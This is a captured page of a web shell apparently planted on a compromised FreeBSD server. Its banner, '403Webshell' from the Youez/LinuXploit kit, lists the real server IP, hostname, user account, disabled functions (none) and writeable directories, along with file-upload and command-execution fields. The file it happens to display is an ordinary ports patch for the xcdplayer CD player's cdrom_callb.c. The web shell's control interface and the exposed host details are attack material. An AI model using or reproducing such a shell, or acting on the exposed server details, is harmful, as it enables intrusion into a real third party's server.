403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/audio/xcdplayer/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/audio/xcdplayer/files/patch-cdrom__callb.c
$NetBSD: pkgsrc/audio/xcdplayer/patches/patch-ae,v 1.4 2005/12/11 20:48:46 joerg Exp $

--- cdrom_callb.c.orig	1993-01-12 18:59:48 UTC
+++ cdrom_callb.c
@@ -22,6 +22,9 @@
 
 # include "debug.h"
 # include "cdrom_globs.h"
+#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__NetBSD__) || defined(__DragonFly__)
+# include "cdrom_freebsd.h"
+#endif
 #ifdef sun
 # include "cdrom_sun.h"
 #endif
@@ -29,6 +32,8 @@
 # include "cdrom_sgi.h"
 #endif
 
+extern AppData app_data;
+
 void		cdrom_new_disc();
 
 /*
@@ -287,7 +292,7 @@ cb_cdrom_previous(widget, client_data, c
 	 * if playing less than replayThreshold seconds, back up to 
 	 * previous track; otherwise start at beginning of current track:
 	 */
-	if (cdi.duration < replayThreshold)
+	if (cdi.duration < app_data.replayThreshold)
 	{
 	    if ((cdi.program != NULL) &&
 	    	 (cdi.state & CDROM_STATE_PLAY) &&

Youez - 2016 - github.com/yon3zu
LinuXploit